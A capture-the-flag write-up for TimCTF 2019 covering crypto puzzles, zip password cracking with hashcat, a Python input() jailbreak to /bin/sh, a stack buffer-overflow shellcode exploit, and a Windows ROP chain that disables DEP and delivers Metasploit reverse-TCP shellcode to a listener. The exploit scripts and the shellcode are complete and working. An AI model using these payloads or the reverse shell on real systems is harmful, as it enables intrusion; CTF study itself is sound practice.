Team : Complex
Rank : 7
Country : Republic of Korea
Points : 4,426
Crypto
Baby Crypto (50pts)
This file seems… odd
In the name of the problem, I thought it was a Caesar cipher.
So I use Caesar decoder site. ( https://cryptii.com/ )
Shift by 8 to get the flag.
Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}
=> Glad to see you made it! Welcome to the wonderful world of cryptography! Here is your reward: TIMCTF{Julius_Caesar_w0uld_b3_proud}
FLAG : TIMCTF{Julius_Caesar_w0uld_b3_proud}
Proof of work (100pts)
While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.
nc 89.38.208.143 21021
just bruteforce attack and find sha256 end of 0000000
import hashlib
import re
import string
ALLOWED_CHARACTERS = string.printable
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)
def characterToIndex(char):
return ALLOWED_CHARACTERS.index(char)
def indexToCharacter(index):
if NUMBER_OF_CHARACTERS <= index:
raise ValueError("Index out of range.")
else:
return ALLOWED_CHARACTERS[index]
def next(string):
if len(string) <= 0:
string.append(indexToCharacter(0))
else:
string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
if characterToIndex(string[0]) is 0:
return list(string[0]) + next(string[1:])
return string
def main():
sequence = list()
while True:
sequence = next(sequence)
tmp = ''.join(i for i in sequence)
m = hashlib.sha256()
m.update(tmp)
md5string=m.hexdigest()
print md5string
if md5string[57:] == '0000000':
print md5string + " : " + tmp
exit(0)
if __name__ == "__main__":
main()
after connecting to the nc server, enter S@"m4 to get the flag.
FLAG : IMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
Alien Alphabet (150pts)
I found this strange text. It is written in some strange alphabet. Can you decode it?
i found this cipher is TEMPHIS .
I translated the last line and found a flag.
FLAG : TIMCTF{TEMPHIS_IS_AWESOME}
Password breaker (150pts)
I heard you were good at cracking passwords!
Hint! What are the most common attacks on a password? Dictionary and bruteforce
Hint! If it takes more than a few minutes you’re doing it wrong.
So I thought I had to solve the problem with a dictionary attack and brute force.
I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.
And I used zip2john and hashcat.
First, I find zip file’s hash.
juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip
And make hash.txt
$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$
Finally, use hashcat.
I can get zip file’s password.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 flag_hash.txt rockyou.txt
hashcat (v5.1.0) starting...
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Watchdog: Temperature abort trigger set to 90c
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec
$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*0*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:johncena1234
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*.../zip2$
Time.Started.....: Wed Sep 18 23:17:18 2019 (4 secs)
Time.Estimated...: Wed Sep 18 23:17:22 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 266.9 kH/s (5.84ms) @ Accel:64 Loops:62 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 917504/14344384 (6.40%)
Rejected.........: 0/917504 (0.00%)
Restore.Point....: 884736/14344384 (6.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999
Candidates.#1....: lennylove -> jam16
Hardware.Mon.#1..: Temp: 54c Fan: 30% Util: 76% Core:1468MHz Mem:3004MHz Bus:16
Started: Wed Sep 18 23:17:15 2019
Stopped: Wed Sep 18 23:17:24 2019
C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>
first password is johncena1234.
The password for stage2 can also be found in the same way.
Here, brute force is used.
juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john stage2.zip
stage2.zip/flag.txt:$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:flag.txt:stage2.zip:stage2.zip
Finally, Brute force it!
C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a?
hashcat (v5.1.0) starting...
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU
INFO: All hashes found in potfile! Use --show to display them.
Started: Wed Sep 18 23:46:31 2019
Stopped: Wed Sep 18 23:46:31 2019
C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a? --show
$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:bo$$
C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>
Last password is bo$$.
FLAG : TIMCTF{12345_is_A_bad_passw0rd}
TimCTF gamblig service (200pts)
Predict the next number to win. Are you that lucky?
nc 89.38.208.143 21023
- First I thought Mersenne Twister
- But It wasn’t
- I just guess
Unixtimeand that’s right
from pwn import *
from ctypes import *
c = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("89.38.208.143",21023)
c.srand(c.time(0))
for i in range(10):
p.recvuntil("choice: ")
p.sendline("1")
x = int(p.recvline())
print i+1," : Predict=",c.rand()," : Recved=",
print x
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("guess: ")
p.sendline(str(c.rand()))
p.interactive()
- I failed few times, but finally Succeed.
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/crypto$ python ctype.py
[+] Opening connection to 89.38.208.143 on port 21023: Done
1 : Predict= 1085972033 : Recved= 1085972033
2 : Predict= 1086492775 : Recved= 1086492775
3 : Predict= 199921567 : Recved= 199921567
4 : Predict= 1854423452 : Recved= 1854423452
5 : Predict= 637623845 : Recved= 637623845
6 : Predict= 1180811229 : Recved= 1180811229
7 : Predict= 1322382820 : Recved= 1322382820
8 : Predict= 297329854 : Recved= 297329854
9 : Predict= 1637532318 : Recved= 1637532318
10 : Predict= 1132466532 : Recved= 1132466532
[*] Switching to interactive mode
Congratulations! Here is your reward: TIMCTF{Now_You_c4N_ch3at_aT_pacanele}
[*] Got EOF while reading in interactive
FLAG : TIMCTF{Now_You_c4N_ch3at_aT_pacanele}
Strange cipher (250pts)
I have found this strange encryption service. Can you decode it?
nc 89.38.208.143 21022
from pwn import *
import string
p = remote('89.38.208.143',21022)
p.recvuntil('flag: ')
enc = p.recvline()
enc = enc.split(' ')
del enc[-1]
print enc
table = string.printable
payload = ''
attempt = 254
for i in range(8):
for j in table:
p.sendlineafter('remaining: ',payload + j)
p.recvuntil('Encrypted string: ')
go = p.recvline().split()
if enc[i] == go[i]:
payload += j
print "[*] payload = " + payload
break
print 'try -> ' + str(attempt) + " : " + j
attempt -= 1
p.interactive()
brute force attack and make table
FLAG : TIMCTF{Y0u_really_make_A_diff3rence}
Exploit
Hiss hiss python (50pts)
This snake likes to h1ss at its input.
nc 89.38.208.144 11113
Hint! What is wrong with python input function?
import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()
if (x == 5):
print("Eh, I was just kidding. No flag for you")
else:
print("Try again!")
Python input function has vulnerability.
If I use this vulnerability, I can execute any command.
This is easy python-jail-break problem, no filtering.
So, I can find python-jail-cheatsheet in google, and I use it.
Exploit
from pwn import *
#context.log_level = "debug"
r = remote("89.38.208.144", 11113)
command = "__import__('subpro'+'cess').call(['/bin/sh', '-s'])"
r.sendlineafter("? \n",command)
r.interactive()
FLAG : TIMCTF{h1ss_h1ss_shell}
Swag (100pts)
The server only lets hackers in, not script kiddies.
nc 89.38.208.144 11111
First, I see swag.cpp
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
using namespace std;
int global_cookie;
int main()
{
char name[64];
int cookie;
int a;
srand(time(0));
cookie = rand();
global_cookie = cookie;
a = 2;
printf("Enter your name: ");
fflush(stdout);
gets(name);
printf("Hello, %s", name);
if((cookie != global_cookie) || (a != 1))
{
printf(", it appears you don't have enough swag\n");
exit(0);
}
printf(", I really like your swag. Come in!\n");
return 0;
}
and, I open swag binary with IDA pro.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char v5; // [rsp+0h] [rbp-50h]
int v6; // [rsp+48h] [rbp-8h]
int v7; // [rsp+4Ch] [rbp-4h]
v3 = time(0LL);
srand(v3);
v7 = rand();
global_cookie = v7;
v6 = 2;
printf("Enter your name: ", argv);
fflush(_bss_start);
gets(&v5);
printf("Hello, %s", &v5);
if ( v7 != global_cookie || v6 != 1 )
{
puts(", it appears you don't have enough swag");
exit(0);
}
puts(", I really like your swag. Come in!");
puts("Your access code is: TIMCTF{1_am_th3_c00kie_m0nsta}");
return 0;
}
FLAG : TIMCTF{1_am_th3_c00kie_m0nsta}
Bof-server (100pts)
Today kids we learn how to write exploits for super-secure software: bof-server!
nc 89.38.208.144 11112
(non-standard flag format)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-100h]
printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
fflush(_bss_start);
gets(&v4);
printf("Nice to meet you, %s!\n", &v4);
return 0;
}
This binary use gets(), we can catch RIP.
And, problem gives me stack address.
Finally, NX bit is disabled.
juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
This is mitigation of problem.
Exploit
As explained earlier, I can use shellcode.
So, I build shellcode in stack and make RIP stack address.
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
#r = remote("89.38.208.144",11112)
r = process("./bof-server")
e = ELF("./bof-server")
libc = e.libc
r.recvuntil(": ")
stack = int(r.recv(12),16)
log.info("stack : " + hex(stack))
shellcode = shellcraft.sh()
payload = asm(shellcode)
payload = payload.ljust(0x108,"\x00")
payload += p64(stack)
r.sendlineafter("please: ",payload)
r.interactive()
FLAG : TIMCTF{oooverfl0w}wwwWWW
Rop Me Baby (200pts)
Can you still pull out a buffer overflow attack if the stack is non-executable? Let’s find out:
nc 89.38.208.147 2025
Note: as socat is not working in windows for some reason there is only one instance of this running at a time. Please make sure you disconnect properly. We will add more ports asap.
.text:000000000040159A ; __unwind { // sub_4ADA90
.text:000000000040159A push rbp
.text:000000000040159B push rbx
.text:000000000040159C mov eax, 13D8h
.text:00000000004015A1 call sub_40C5F0
.text:00000000004015A6 sub rsp, rax
.text:00000000004015A9 lea rbp, [rsp+80h]
.text:00000000004015B1 call sub_40B220
.text:00000000004015B6 lea rax, [rbp+1360h+WSAData]
.text:00000000004015BD mov rdx, rax ; lpWSAData
.text:00000000004015C0 mov ecx, 202h ; wVersionRequested
.text:00000000004015C5 mov rax, cs:WSAStartup
.text:00000000004015CC call rax ; WSAStartup
.text:00000000004015CE mov r8d, 6 ; protocol
.text:00000000004015D4 mov edx, 1 ; type
.text:00000000004015D9 mov ecx, 2 ; af
.text:00000000004015DE mov rax, cs:socket
.text:00000000004015E5 call rax ; socket
.text:00000000004015E7 mov [rbp+1360h+s], rax
.text:00000000004015EE mov [rbp+1360h+name.sa_family], 2
.text:00000000004015F7 mov dword ptr [rbp+1360h+name.sa_data+2], 0
.text:0000000000401601 mov ecx, 2025 ; hostshort
.text:0000000000401606 mov rax, cs:htons
.text:000000000040160D call rax ; htons
.text:000000000040160F mov word ptr [rbp+1360h+name.sa_data], ax
.text:0000000000401616 lea rax, [rbp+1360h+name]
.text:000000000040161D mov rcx, [rbp+1360h+s] ; s
.text:0000000000401624 mov r8d, 10h ; namelen
.text:000000000040162A mov rdx, rax ; name
.text:000000000040162D mov rax, cs:bind
.text:0000000000401634 call rax ; bind
.text:0000000000401636 cmp eax, 0FFFFFFFFh
.text:0000000000401639 setz al
.text:000000000040163C test al, al
.text:000000000040163E jz short loc_401666
.text:0000000000401640 lea rdx, aUnableToBindSo ; "Unable to bind socket!\r\n"
.text:0000000000401647 mov rcx, cs:off_4B6FB0
.text:000000000040164E call sub_4A9FC0
.text:0000000000401653 mov rax, cs:WSACleanup
.text:000000000040165A call rax ; WSACleanup
.text:000000000040165C mov ebx, 0
.text:0000000000401661 jmp loc_401955
First, open socket and port 2025.
So, I think rop_me_baby.exe is server
.text:0000000000401666 loc_401666: ; CODE XREF: sub_40159A+A4↑j
.text:0000000000401666 mov rax, [rbp+1360h+s]
.text:000000000040166D mov edx, 14h ; backlog
.text:0000000000401672 mov rcx, rax ; s
.text:0000000000401675 mov rax, cs:listen
.text:000000000040167C call rax ; listen
.text:000000000040167E lea rdx, aWaitingForClie ; "Waiting for clients: "
.text:0000000000401685 mov rcx, cs:off_4B6FB0
.text:000000000040168C call sub_4A9FC0
Second, start listen and waiting client.
.text:0000000000401807 mov rdx, rax ; buf
.text:000000000040180A mov rax, [rbp+1360h+var_18]
.text:0000000000401811 mov r9d, 0 ; flags
.text:0000000000401817 mov r8d, ebx ; len
.text:000000000040181A mov rcx, rax ; s
.text:000000000040181D mov rax, cs:send
.text:0000000000401824 call rax ; send
.text:0000000000401826 lea rax, [rbp+1360h+var_60]
.text:000000000040182D mov rcx, rax
.text:0000000000401830 call sub_48FBF0
.text:0000000000401835 lea rax, [rbp+1360h+var_80]
.text:000000000040183C mov rcx, rax
.text:000000000040183F call sub_48FBF0
.text:0000000000401844 mov rax, [rbp+1360h+var_18]
.text:000000000040184B mov r9d, 0 ; flags
.text:0000000000401851 mov r8d, 1000h ; len
.text:0000000000401857 lea rdx, buf ; buf
.text:000000000040185E mov rcx, rax ; s
.text:0000000000401861 mov rax, cs:recv
.text:0000000000401868 call rax ; recv
.text:000000000040186A mov [rbp+1360h+var_34], eax
.text:0000000000401870 mov eax, [rbp+1360h+var_34]
.text:0000000000401876 mov edx, eax
.text:0000000000401878 lea rcx, buf
.text:000000000040187F call sub_401550
.text:0000000000401884 lea rdx, aReceived ; "Received: "
.text:000000000040188B mov rcx, cs:off_4B6FB0
.text:0000000000401892 call sub_4A9FC0
Third, server wait payload.
The place to enter payload is BSS section.
This part causes the vulnerability. Because the length limit is not appropriate.
So, I can catch RIP .
Exploit
I used reverse connection Because it is communication between server and client.
This .exe has DEP protection.
So we have to bypass DEP with windows ROP.
The payload scenario is shown below.
0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
- VirtualProtect in kernel32.dll
- problem give kernel32.dll's base address
- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.
Gadgets were extracted from the rop_me_baby.exe binary using rp++.
My gadget is here.
pop_rbx = 0x00401D52 # pop rbx ; ret ;
pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8 = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9 = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8 : " + hex(pop_r8))
log.info("pop_r9 : " + hex(pop_r9))
The shellcode came from the metasploit with the windows x64 tcp reverse conection.
My shellcode is here.
shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP
Finally, my full exploit code is here.
from pwn import *
#context.log_level = "debug"
r = remote("89.38.208.147",2025) #remote
#r = remote("192.168.2.234",2025) #local
r.recvuntil("Ntdll address is: ")
ntdll = int(r.recv(12),16)
r.recvuntil("kernel32 address is: ")
kernel32 = int(r.recv(12),16)
log.info("ntdll : " + hex(ntdll))
log.info("kernel32 : " + hex(kernel32))
protect = kernel32 + 0x14d0 #remote
#protect = kernel32 + 0x1acb0 #local
bss = 0x0000000004DE040
log.info("bss : " + hex(bss))
shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP
##### parameter #####
# rcx : bss
# rdx : 0x6000
# r8 : 0x40
# r9 : bss + 0x1000
pop_rbx = 0x00401D52 # pop rbx ; ret ;
pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8 = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9 = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8 : " + hex(pop_r8))
log.info("pop_r9 : " + hex(pop_r9))
payload = ""
payload += "A" * (256 + 8)
payload += p64(pop_rbx)
payload += p64(bss)
payload += p64(pop_r9)
payload += p64(bss + 0x1000) + p64(0) * 3
payload += "A" * 0x20
payload += p64(pop_r8)
payload += p64(0x40)
payload += p64(0) * 2
payload += "A" * 0x28
payload += p64(pop_rcx)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(0x6000)
payload += "A" * 0x28
payload += p64(protect)
payload += p64(bss + len(payload) + 0x10)
payload += "\x90" * 0x100
payload += shellcode
log.info("payload : " + str(len(payload)))
r.recvuntil("payload: ")
pause()
r.sendline(payload)
r.interactive()
The environment setting method is as follows.
0. Leave the port open on my server.
1. start exploit!
set port
root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
start exploit
juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ python ex.py
Client
juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ p ex.py
[+] Opening connection to 89.38.208.147 on port 2025: Done
[*] ntdll : 0x7ffd02630000
[*] kernel32 : 0x7ffd01a00000
[*] bss : 0x4de040
[*] pop_rcx : 0x40c620
[*] pop_rdx : 0x401095
[*] pop_r8 : 0x4960b3
[*] pop_r9 : 0x4a4a14
[*] payload : 1228
[*] Paused (press any to continue)
[*] Switching to interactive mode
$
[*] Interrupted
server
root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
89.38.208.147: inverse host lookup failed: Unknown host
connect to [172.17.0.6] from (UNKNOWN) [89.38.208.147] 58731
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\RopME\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 32BC-80DB
Directory of C:\Users\RopME\Desktop
09/13/2019 12:21 PM <DIR> .
09/13/2019 12:21 PM <DIR> ..
09/13/2019 12:22 PM 29 chall.bat
09/13/2019 11:31 AM 28 flag.txt.txt
09/13/2019 12:53 PM 902,144 rop_me_baby.exe
09/13/2019 12:03 PM <DIR> socat_not_working
3 File(s) 902,201 bytes
3 Dir(s) 47,296,638,976 bytes free
C:\Users\RopME\Desktop>type flag.txt.txt
type flag.txt.txt
TIMCTF{Yeah_Y34h_ropME_b4by}
FLAG : TIMCTF{Yeah_Y34h_ropME_b4by}
